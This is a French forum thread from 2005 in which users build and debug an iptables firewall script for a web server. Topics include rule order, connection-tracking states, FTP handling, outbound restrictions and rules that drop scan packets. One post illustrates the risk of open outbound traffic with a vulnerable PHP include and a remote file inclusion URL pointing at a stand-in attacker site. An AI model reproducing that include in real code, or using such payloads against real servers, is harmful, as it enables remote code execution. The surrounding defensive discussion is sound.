Forum |  HardWare.fr | News | Articles | PC | S'identifier | S'inscrire | Shop Recherche
1713 connectés 

 


 Mot :   Pseudo :  
 
 Page :   1  2  3  4  5  6  7
Auteur Sujet :

un script iptables spécial serveur.

n°724004
l0ky
Posté le 01-09-2005 à 16:51:04  profilanswer
 

Reprise du message précédent :
Presque:
Sauf que iptables -P OUTPUT DROP ne met pas en place une regle mais une politique. C'est à dire ce que fera netfilter si aucun match n'a correspondu durant la traversée de la chaine OUTPUT
 
En fait, pour simplifier, netfilter parcours une chaine jusqu'à ce qu'une regle matche. Dans ce cas là il applique l'action et basta, il ne finit pas la traversée. Si aucue règle n'a matchée alors il applique la politique (ici DROP)


Message édité par l0ky le 01-09-2005 à 16:52:38
mood
Publicité
Posté le 01-09-2005 à 16:51:04  profilanswer
 

n°724005
duch
Posté le 01-09-2005 à 16:52:49  profilanswer
 

ok mais alors dans le cas de mon --syn.
d'abord on a un ACCEPT puis un DROP, lequel prévaut, le premier? (j'crois pas)


Message édité par duch le 01-09-2005 à 16:53:24
n°724006
l0ky
Posté le 01-09-2005 à 16:54:22  profilanswer
 

j'ai édité (deuxieme partie, on s'arrete a la premiere regle matchant le paquet)

n°724007
duch
Posté le 01-09-2005 à 16:55:43  profilanswer
 

ok et de toute façon, j'avais dit une connerie puisque ma deuxième règle (celle qui contiendra le --syn) c'est une règle ACCEPT pas une règle DROP
 
keskejsuikonmoa!

n°724008
duch
Posté le 01-09-2005 à 16:58:45  profilanswer
 

donc si on s'arrête à la première règle matchant le paquet, les règles qui se trouvent à la fin (lignes 61 à 67) doivent bien être au début, sinon le paquet va être accepté.
 
ma confusion vient de ce que j'ai lu ici :
http://olivieraj.free.fr/fr/linux/ [...] 03-05.html

Citation :

# DROP : Le paquet est détruit purement et simplement. C'est typique du "délit de sale gueule"...  
# ACCEPT : Le paquet a une "bonne tête", il est donc autorisé à continuer à passer. Mais une autre règle située après la règle qui a accepté ce paquet peut très bien finalement décider de le supprimer.


 
on m'aurait menti ;-)


Message édité par duch le 01-09-2005 à 16:59:24
n°724013
l0ky
Posté le 01-09-2005 à 17:04:57  profilanswer
 

Dans la logique du script ca devrait être au début.
Pour ce qui est de ton lien :/
Pour moi on s'arrete toujours à la première règle qui matche [:ootransparent]


Message édité par l0ky le 01-09-2005 à 17:05:15
n°724016
duch
Posté le 01-09-2005 à 17:09:10  profilanswer
 

le lien je l'ai trouvé dans le topic unique "Sécuriser sa passerelle internet", gloups!
 
En même temps ce que tu me dis est plus en accord avec la manpage de iptables.
 
enfin tout s'éclaire, ça me faisait mal à la tête tout ça, y'avait un truc qui tournait pas rond et j'savais pas pourquoi. Maintenant je sais, merci.
 
Je vais donc remettre mes lignes baladeuses au début ;-)

n°724024
duch
Posté le 01-09-2005 à 17:22:47  profilanswer
 

Bon si j'ai bien compris le flag --syn sert à reconnaitre les ouvertures de connexion tcp, je l'ai donc mis sur toutes les règles concernant tcp (sauf celles concernant les paquets ESTABLISHED, RELATED of course!).
 
Pas de problème?


Message édité par duch le 01-09-2005 à 17:23:04
n°724027
l0ky
Posté le 01-09-2005 à 17:25:36  profilanswer
 

C'est bon.

n°724030
duch
Posté le 01-09-2005 à 17:30:42  profilanswer
 

bon on peux améliorer quoi maintenant?
 
il manque :  
- les logs
- plus de tests sur les paquets invalides?
 
 
Je me suis demandé si je devais ajouter la gestion du ftp en sortie, mais c'est un protocole tellement pourris que je devrais ouvrir des ports dans les 2 sens (et utiliser le conntrack_ftp), bref je me demande si je vais pas télécherger mes mises à jours debian par http...
En même temps dans l'optique d'en faire un script utilse à tous il faudrait p'tet que je le rajoute...


Message édité par duch le 01-09-2005 à 17:36:53
mood
Publicité
Posté le 01-09-2005 à 17:30:42  profilanswer
 

n°724032
l0ky
Posté le 01-09-2005 à 17:33:33  profilanswer
 

tu ouvres le port 21, tu rajoutes le conntrack_ftp et ca doit etre bon
pour les log utilise ulog (décrit dans le man)
pour les tests sur les paquets invalides regardes dans le script d'arno.

n°724034
duch
Posté le 01-09-2005 à 17:36:33  profilanswer
 

ouvrir le port 21 en sortie suffit si j'active le conntrack_ftp?
 
j'ai lu des trucs sur le conntrak, je vais y jeter un oeil.

n°724037
l0ky
Posté le 01-09-2005 à 17:39:24  profilanswer
 

ip_conntrack_ftp et ip_nat_ftp si tu veux faire du nat. Plus ouverture du port 21 et ca devrait suffire

n°724038
duch
Posté le 01-09-2005 à 17:40:37  profilanswer
 

port 21 uniquement en sortie ou en entrée/sortie?
 
j'aurais pas de serveur ftp de toute façon mais j'aime pas laisser le port 21 ouvert...

n°724046
sebchap
Share the knowledge
Posté le 01-09-2005 à 17:55:05  profilanswer
 

duch a écrit :

port 21 uniquement en sortie ou en entrée/sortie?
 
j'aurais pas de serveur ftp de toute façon mais j'aime pas laisser le port 21 ouvert...


le port 21 ne sera pas ouvert si tu n'as pas de serveur qui ecoute dessus :)


---------------
BOFH excuse #400:We are Microsoft.  What you are experiencing is not a problem; it is an undocumented feature.
n°724047
duch
Posté le 01-09-2005 à 17:58:43  profilanswer
 

sebchap a écrit :

le port 21 ne sera pas ouvert si tu n'as pas de serveur qui ecoute dessus :)


 
c'est vrai, mais bon, c'est pas joli ;-)
 
 
bon est-ce que ça ça le fait?
 

Code :
  1. $IPT -A INPUT -i $INTERNET -p tcp --sport 21 -m state --state ESTABLISHED -j ACCEPT
  2. $IPT -A OUTPUT -o $INTERNET -p tcp --dport 21 -m state --state NEW,ESTABLISHED -j ACCEPT
  3. $IPT -A INPUT -i $INTERNET -p tcp --sport 20 -m state --state ESTABLISHED,RELATED -j ACCEPT
  4. $IPT -A OUTPUT -o $INTERNET -p tcp --dport 20 -m state --state ESTABLISHED -j ACCEPT
  5. $IPT -A INPUT -i $INTERNET -p tcp --sport 1024:65535 --dport 1024:65535 -m state --state ESTABLISHED -j ACCEPT
  6. $IPT -A OUTPUT -o $INTERNET -p tcp --sport 1024:65535 --dport 1024:65535 -m state --state ESTABLISHED,RELATED -j ACCEPT


 
je l'ai choppé dans le script de HugoBios mais je me demande si les lignes 1 et 4 ne sont pas inutiles, il me semble qu'un serveur ftp ne réponds pas sur le port 21 et que le client n'envoie rien sur le port 20, je me gourre?
 
 
 
EDIT : j'ai dit une connerie un serveur réponds bien sur le port 21 en mode actif, mais pour la ligne 4 j'suis toujours pas sûr... (en fait j'suis pas sûr de l'utilisation du port 20 tout court)


Message édité par duch le 01-09-2005 à 18:14:31
n°724054
sebchap
Share the knowledge
Posté le 01-09-2005 à 18:26:04  profilanswer
 

Mais je ne comprend pas pourquoi tu laisse passer les connexions sur le port 21 alors que tu n'auras pas de serveur derriere :??:


---------------
BOFH excuse #400:We are Microsoft.  What you are experiencing is not a problem; it is an undocumented feature.
n°724055
duch
Posté le 01-09-2005 à 18:27:09  profilanswer
 

je veux laisser passer les connexions sortantes pour pouvoir télécharger les mises à jours systèmes par exemple ;-)

n°724059
sebchap
Share the knowledge
Posté le 01-09-2005 à 18:32:25  profilanswer
 

duch a écrit :

je veux laisser passer les connexions sortantes pour pouvoir télécharger les mises à jours systèmes par exemple ;-)


[:rofl] Tu n'en a as besoin ;)
Quand tu as accepté toute les connexion avec le statut ESTABLISHED et RELATED, tu as en fait accepté quasiment toutes les connexions standard.
Tu ne dois rajouter des regles que pour tes serveurs, pour tes logs et pour un controle avancé des paquets etc... mais pas pour chque type de connexions que tu compte utiliser :)


---------------
BOFH excuse #400:We are Microsoft.  What you are experiencing is not a problem; it is an undocumented feature.
n°724061
duch
Posté le 01-09-2005 à 18:35:40  profilanswer
 

bah ouais, mais si je n'autorise même pas le port 21 en sortie, je pourrais difficilement établir une connexion ;-)
 
donc en gros j'active le ip_conntrack_ftp et je fait une règle comme ça, et ça roule?
 

Code :
  1. $IPT -A OUTPUT -o $INTERNET -p tcp --dport 21 -m state --state NEW -j ACCEPT


 
j'avais pas pensé que effectivement toutes les connexions suivantes seraient soit ESTABLISHED soit RELATED...


Message édité par duch le 01-09-2005 à 18:36:51
n°724067
sebchap
Share the knowledge
Posté le 01-09-2005 à 18:53:40  profilanswer
 

duch a écrit :

bah ouais, mais si je n'autorise même pas le port 21 en sortie, je pourrais difficilement établir une connexion ;-)
 
donc en gros j'active le ip_conntrack_ftp et je fait une règle comme ça, et ça roule?
 

Code :
  1. $IPT -A OUTPUT -o $INTERNET -p tcp --dport 21 -m state --state NEW -j ACCEPT


 
j'avais pas pensé que effectivement toutes les connexions suivantes seraient soit ESTABLISHED soit RELATED...


non tu as tort :o
Essaye et tu verras. Quoique au vu de tes premiere regles tu risque d'avoir raison car tu n'accepte pas les connexion NEW en sortie (alors qu'il n'y a pas de risque a cela)
Je te sens un peu perdu là :D
 
Avec les regles suivantes, tu peux presque faire ce que tu veux sur le net (telechargement/upload ftp, http, mail) a condition que ca ne soit pas toi qui heberge ces services bien sur. Seul le p2p aura du mal :D :

echo "++ Chargement des modules du suivi de connexion"
modprobe ip_conntrack        ; # Module principal du suivi de connexion
modprobe ip_conntrack_ftp    ; # Module du suivi de connexion FTP
modprobe ip_conntrack_irc    ; # Module du suivi de connexion IRC
modprobe iptable_nat
modprobe ip_nat_ftp
modprobe ip_nat_irc
 
echo "++ Suppression de toutes les chaînes pré-définies"
iptables -t filter -F
iptables -t nat -F
iptables -t mangle -F
 
echo "++ Suppression de toutes les chaînes utilisateur"
iptables -t filter -X
iptables -t nat -X
iptables -t mangle -X
 
echo "++ Initialisation de la table filter"
iptables -t filter -P INPUT DROP
iptables -t filter -P OUTPUT DROP
iptables -t filter -P FORWARD DROP
 
echo "++ Initialisation de la table nat"
iptables -t nat -P PREROUTING  ACCEPT
iptables -t nat -P OUTPUT      ACCEPT
iptables -t nat -P POSTROUTING ACCEPT
 
echo "++ Initialisation de la table mangle"
iptables -t mangle -P PREROUTING  ACCEPT
iptables -t mangle -P INPUT       ACCEPT
iptables -t mangle -P FORWARD     ACCEPT
iptables -t mangle -P OUTPUT      ACCEPT
iptables -t mangle -P POSTROUTING ACCEPT
 
# Pas de restriction pour l'interface loopback
iptables -t filter -A OUTPUT -o lo -p all -j ACCEPT
iptables -t filter -A INPUT  -i lo -p all -j ACCEPT
 
echo "++ Creation des regles d'acces à internet"
# Autorise les connexions avec internet uniquement si elles sont initialisées par les process locaux
iptables -t filter -A OUTPUT -o $internet -d 0.0.0.0/0 -p all -m state --state ! INVALID -j ACCEPT
iptables -t filter -A INPUT  -i $internet -s 0.0.0.0/0 -p all -m state --state RELATED,ESTABLISHED -j ACCEPT


C'est un extrait modifié des scripts presents sur ce site qui est un excellent tuto (que je refourgue a chaque fois :D) : http://olivieraj.free.fr/fr/linux/ [...] /firewall/
C'est un peu long, mais ca te mettra les idée au clair.
 
Je ne pourrai honetement pas t'exmpliqué en detail le statut des connexion RELATED et ESTABLISHED, mais il me semble qu'a partir du moment ou tu as fais une requete à un site/ftp, alors toutes les connexions relatives a cette demandes auront le statut RELATED ou ESTABLISHED qu'elle que soit leur "direction". Mais il faut pouvoir autoriser cette demande de connexions, d'ou l'acceptation des connexion NEW dans la regle OUTPUT (mais surtout pas dans la regle INPUT) puisque c'est toi qui fais la demande d'une nouvelle connexion :)
J'espere que j'ai été assez clair ;)


---------------
BOFH excuse #400:We are Microsoft.  What you are experiencing is not a problem; it is an undocumented feature.
n°724078
Zzozo
Modérateur
Un peu, passionément, à la fol
Posté le 01-09-2005 à 19:12:36  profilanswer
 

duch a écrit :

donc si on s'arrête à la première règle matchant le paquet, les règles qui se trouvent à la fin (lignes 61 à 67) doivent bien être au début, sinon le paquet va être accepté.
 
ma confusion vient de ce que j'ai lu ici :
http://olivieraj.free.fr/fr/linux/ [...] 03-05.html

Citation :

# DROP : Le paquet est détruit purement et simplement. C'est typique du "délit de sale gueule"...  
# ACCEPT : Le paquet a une "bonne tête", il est donc autorisé à continuer à passer. Mais une autre règle située après la règle qui a accepté ce paquet peut très bien finalement décider de le supprimer.


 
on m'aurait menti ;-)


Oui, on t'a clairement menti pour le traitement du "ACCEPT" ... c'est une target dite "finale" ...
La personne qui a écrit ça a confondu les targets ACCEPT et RETURN ...

n°724087
sebchap
Share the knowledge
Posté le 01-09-2005 à 19:21:44  profilanswer
 

ah bah merde, j'avais même pas vu que tu etais deja allé sur ce site [:joce]
Mais bon, ca reste un bno tuto quand même :o


---------------
BOFH excuse #400:We are Microsoft.  What you are experiencing is not a problem; it is an undocumented feature.
n°724093
duch
Posté le 01-09-2005 à 20:00:14  profilanswer
 

Et oui, je me suis tapé un max de tuto avant de poster.
 
mais là encore je ne vois pas en quoi j'ai tort sur la règle pour le ftp.
 
j'ai des règles au début qui acceptent tout les paquets ESTABLISHED ou RELATED.
je propose une règle qui autorise explicitement les paquets en sortie vers le port 21 (j'ai bien écrit OUTPUT et pas INPUT) :

Code :
  1. $IPT -A OUTPUT -o $INTERNET -p tcp --dport 21 -m state --state NEW -j ACCEPT


 
donc cette règle autorisera bien une nouvelle connexion vers le port 21, non?
 
 
Je suis d'accord avec toi que je n'ai pas mis "-m state --state NEW" sur les autres règles en sortie, j'ai comme le sentiment que ça manque pour activer le conntrack...


Message édité par duch le 01-09-2005 à 20:05:33
n°724094
sebchap
Share the knowledge
Posté le 01-09-2005 à 20:04:31  profilanswer
 

Oui mais ca marche sans aussi a condition que tu accepte les connexion NEW en sortie ;) (ce qui n'est pas le cas pour l'instant)
 
edit: autre chose: tu accepte des connexion avec la regle FORWARD. Pourquoi ? Tu n'a pas besoin de faire du forwarding pour l'instant


Message édité par sebchap le 01-09-2005 à 20:06:41

---------------
BOFH excuse #400:We are Microsoft.  What you are experiencing is not a problem; it is an undocumented feature.
n°724096
duch
Posté le 01-09-2005 à 20:09:42  profilanswer
 

euh, là je comprends plus, que veux tu dire ça marche aussi sans?
 
ça marche sans si je fais une règle du genre

Code :
  1. $IPT -A OUTPUT -o $INTERNET -m state --state NEW -j ACCEPT


 
c'est ça?
 
Je sais que tu penses que ça craint rien mais je préfère contrôler exactement quel port peuvent ouvrir une connexion en sortie, imagine que mon serveur soit piraté à mon insu (et malgré le firewall) et qu'un robot s'en serve pour flooder une autre machine sur un port à la con, ne soyons pas egoiste ;-)


Message édité par duch le 01-09-2005 à 20:09:56
n°724103
sebchap
Share the knowledge
Posté le 01-09-2005 à 20:29:01  profilanswer
 

Il y a quelque chose que tu n'arrive pas a comprendre visiblement ;)
Telle qu'il est, ton script ne te permettra pas d'aller sur internet ni de faire quoi que ce soit. Pourquoi ? Parce que tu n'accepte pas les connexions NEW en sortie. ta regles est la suivante:

iptables -t filter -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT


or, ca devrait être ca:

iptables -t filter -A OUTPUT -m state --state ESTABLISHED,RELATED,NEW -j ACCEPT


 
Si tu veux definir une par une quelles connexions sortantes autoriser, tu vas galerer. Tu devras faire une regles pour le port http, ftp, smtp, pop, etc...  
Si ton serveur est compromis, tu penses bien que ce n'est plus tes regles iptables qui von changer quoi que ce soit ;)
 
Donc pour en revenir a cette histoire de connexion ftp, si tu une regles comme celle-la:

iptables -t filter -A OUTPUT -m state --state ESTABLISHED,RELATED,NEW -j ACCEPT

alors tu n'as pas besoin de rajouter une regles comme celle-ci:

$IPT -A OUTPUT -o $INTERNET -p tcp --dport 21 -m state --state NEW -j ACCEPT


 
Le mieux est encore de tester son script au fur et a mesure. Comme ca tu te serais apercu que tu ne pouvais aller nul part ;)


---------------
BOFH excuse #400:We are Microsoft.  What you are experiencing is not a problem; it is an undocumented feature.
n°724110
duch
Posté le 01-09-2005 à 21:01:21  profilanswer
 

j'ai tout à fait compris, par contre j'ai l'impression que c'est toi qui n'as pas compris que j'avais compris ;-)
 
A moins qu'on me démontre le côté inoffensif d'une telle règle, je préfère faire une règle par service. Et non je ne vais pas galérer car j'ai 5 services en tout.
 
Un serveur peut être compromis sans pour autant avoir accès au compte root, et donc sans pouvoir modifier iptables.
 
Je préfère considérer qu'un ordinateur n'est jamais sûr et être le plus restrictif possible.
Comme tu le vois, j'ai même été particulièrement parano même sur le réseau local (pourtant plus sûr en théorie)
 
 
si on demandais l'avis de l0ky?
 
 
 
EDIT : n'oublie pas que le but c'est de faire un script le plus sûr possible pour un serveur web, je préfère tout contrôler même ce qui pourrais sembler inutile.


Message édité par duch le 01-09-2005 à 21:16:41
n°724121
l0ky
Posté le 01-09-2005 à 21:14:57  profilanswer
 

Personnellement j'ouvre au coup par coup, même en sortie [:spamafote]

n°724124
duch
Posté le 01-09-2005 à 21:24:01  profilanswer
 

Et d'après ce que j'ai vu le célèbre Arno partage notre avis.
 
En tout cas sebchap a pointer le doigt sur un problème, il faut que je corrige certaines règles en sortie.
 
EDIT : je ferais ça demain


Message édité par duch le 01-09-2005 à 21:27:11
n°724129
sebchap
Share the knowledge
Posté le 01-09-2005 à 21:42:28  profilanswer
 

Je t'ai donné le technique que j'utilise et qui est suffisante pour moi, libre a toi de l'utiliser ou pas ;)
 
Tiens nous au courant :)


---------------
BOFH excuse #400:We are Microsoft.  What you are experiencing is not a problem; it is an undocumented feature.
n°724193
Je@nb
Kindly give dime
Posté le 02-09-2005 à 00:25:32  profilanswer
 

sebchap a écrit :

Oui mais ca marche sans aussi a condition que tu accepte les connexion NEW en sortie ;) (ce qui n'est pas le cas pour l'instant)
 
edit: autre chose: tu accepte des connexion avec la regle FORWARD. Pourquoi ? Tu n'a pas besoin de faire du forwarding pour l'instant


 
Oui mais dans ce cas tu permet au serveur de se connecter en tant que client à un autre serveur. C'ets pas top pour un serveur.
Ca permet l'utilisation d'une backdoor qui envoie des données sensibles à qq de l'extérieur, si le serveur est piraté ça permettrai d'envoyer du spam,ça permet au serveur de télécharger un fichier compromettant depuis un site d'un hackeur qui a exploité par exemple une faille dans un script php du genre <?php include $_GET['url']; ?> en mettant ?url=http://sitemechant.com/scriptquiniquetout.txt bref à moins d'avoir une bonne raison de le mettre il ne vaut mieux ne pas le mettre.

n°724244
duch
Posté le 02-09-2005 à 10:15:18  profilanswer
 

bon bah tout le monde est d'accord.
 
Je te rappelle sebchap que le but est de faire un script de firewall béton pour un serveur, ce que tu fais chez toi n'est pas forcément la meilleure soluce ici.
 
Mais au moins on a pû en discuter et comprendre pourquoi ça allait pas dans ce cas là ;)
 
 
 
EDIT : ça y est, les modifs sont faites.
tout va toujours bien?


Message édité par duch le 02-09-2005 à 10:31:46
n°724255
duch
Posté le 02-09-2005 à 10:47:13  profilanswer
 

pour les paquets invalides, je propose de commencer par ces règles (issue du script d'Arno):
 

Code :
  1. # Drop (NMAP) scan packets #
  2.   $IPTABLES -A INPUT -p tcp --tcp-flags ALL FIN,URG,PSH -j DROP
  3.   $IPTABLES -A INPUT -p tcp --tcp-flags ALL SYN,RST,ACK,FIN,URG -j DROP
  4.   $IPTABLES -A INPUT -p tcp --tcp-flags ALL ALL -j DROP
  5.   $IPTABLES -A INPUT -p tcp --tcp-flags ALL FIN -j DROP
  6.   $IPTABLES -A INPUT -p tcp --tcp-flags SYN,RST SYN,RST -j DROP
  7.   $IPTABLES -A INPUT -p tcp --tcp-flags SYN,FIN SYN,FIN -j DROP
  8.   $IPTABLES -A INPUT -p tcp --tcp-flags ALL NONE -j DROP
  9.   # Drop packets with bad tcp flags
  10.   $IPTABLES -A INPUT -p tcp --tcp-option 64 -j DROP
  11.   $IPTABLES -A INPUT -p tcp --tcp-option 128 -j DROP
  12.   # Drop invalid packets
  13.   $IPTABLES -A INPUT -m state --state INVALID -j DROP
  14.   # Drop port 0 scan packets
  15.   $IPTABLES -A INPUT -p tcp --dport 0 -j DROP
  16.   $IPTABLES -A INPUT -p udp --dport 0 -j DROP
  17.   # Drop source port 0 packets
  18.   $IPTABLES -A INPUT -p tcp --sport 0 -j DROP
  19.   $IPTABLES -A INPUT -p udp --sport 0 -j DROP


Message édité par duch le 02-09-2005 à 10:48:11
n°724258
Je@nb
Kindly give dime
Posté le 02-09-2005 à 10:51:57  profilanswer
 

Ta politique par défaut est déjà en drop donc il se feront automatiquement droppé :) si tu ne les matches pas avant. Les premiers peut être que c interressant je ne sais pas mais sinon bof

n°724261
duch
Posté le 02-09-2005 à 10:54:30  profilanswer
 

oui effectivement j'ai du mal à intégré, les lignes 12 à 19 ne servent donc à rien, c'est bien celles-ci?

n°724263
l0ky
Posté le 02-09-2005 à 10:57:00  profilanswer
 

duch a écrit :

oui effectivement j'ai du mal à intégré, les lignes 12 à 19 ne servent donc à rien, c'est bien celles-ci?


Elles ne servent à rien sauf si elles sont placées en début de scripts (question de performances) du moins pour les règles contre NMAP.

n°724266
duch
Posté le 02-09-2005 à 11:00:31  profilanswer
 

oui effectivement pour les performances il semble préférable qu'iptables match un paquet invalide dès le début plutôt que de se taper toutes les chaines et d'appliquer la politique par défaut s'il n'a rien trouvé.
 
 
Donc dans ce cas là, il me semble que toutes les lignes sont utiles si je met ce block en début de script.


Message édité par duch le 02-09-2005 à 11:00:52
n°724268
Je@nb
Kindly give dime
Posté le 02-09-2005 à 11:05:59  profilanswer
 

Oué mais si tu les mets ça sera plus long à matcher les règles "utiles"

n°724271
l0ky
Posté le 02-09-2005 à 11:11:14  profilanswer
 

Je@nb a écrit :

Oué mais si tu les mets ça sera plus long à matcher les règles "utiles"


Les scans sont plus brutaux que les requêtes "utiles"
Généralement ce que je fais, c'est une chaine supplémentaire dans filter pour dropper les paquets issus de scan ou mal formés. J'appelle cette chaine juste apres les règles matchant les paquets appartenant à des connection established ou related. De cette maniere les connexions approuvées ne subissent pas le passage dans cette chaine.
 
Seule les paquets n'appartenant à aucune connexion la subisse (seulement le premier paquet pour les connexions "utiles" subit ce petit désagrément, ce qui est, amha négligeable).


Message édité par l0ky le 02-09-2005 à 11:12:42
n°724273
duch
Posté le 02-09-2005 à 11:12:31  profilanswer
 

mouais, cruel dilemme?
 
D'un côté grace à conntrack, la plupart des règles utiles ne sont matchées que la première fois à l'ouverture de connexion.
Mais bon en même temps l'ouverture de connexion c'est important.
Et si on considère que le but d'un serveur web, c'est de servir le plus rapidement possible les pages il vaut peut-être mieux mettre l'accent sur les règles utiles.
 
MAIS, je ne peux pas les mettre à la fin, car le paquet invalide risquerait d'être accepté avant par une de mes règles utile.
 
 
EDIT : grillé par l0ky


Message édité par duch le 02-09-2005 à 11:14:38
mood
Publicité
Posté le   profilanswer
 

 Page :   1  2  3  4  5  6  7

Aller à :
Ajouter une réponse
 

Sujets relatifs
[script] séparer des chiffresAntivirus client(win$$) / serveur(debian)
fonctionnalités du serveur asterisk[script] faire une addition avec le flux d'entrée
Comment créer un sous domaine avec un script ?Acceder à un serveur de fichiers sous novell
pb d'affichage de script entre namo 5.5 et firefox 1.0.3[iptables?] Plusieurs passerelles
[iptables] Rediriger certaines ip du port 80 vers ailleursProblème Debian et HLDS (serveur CS) 50% idle
Plus de sujets relatifs à : un script iptables spécial serveur.


Copyright © 1997-2022 Hardware.fr SARL (Signaler un contenu illicite / Données personnelles) / Groupe LDLC / Shop HFR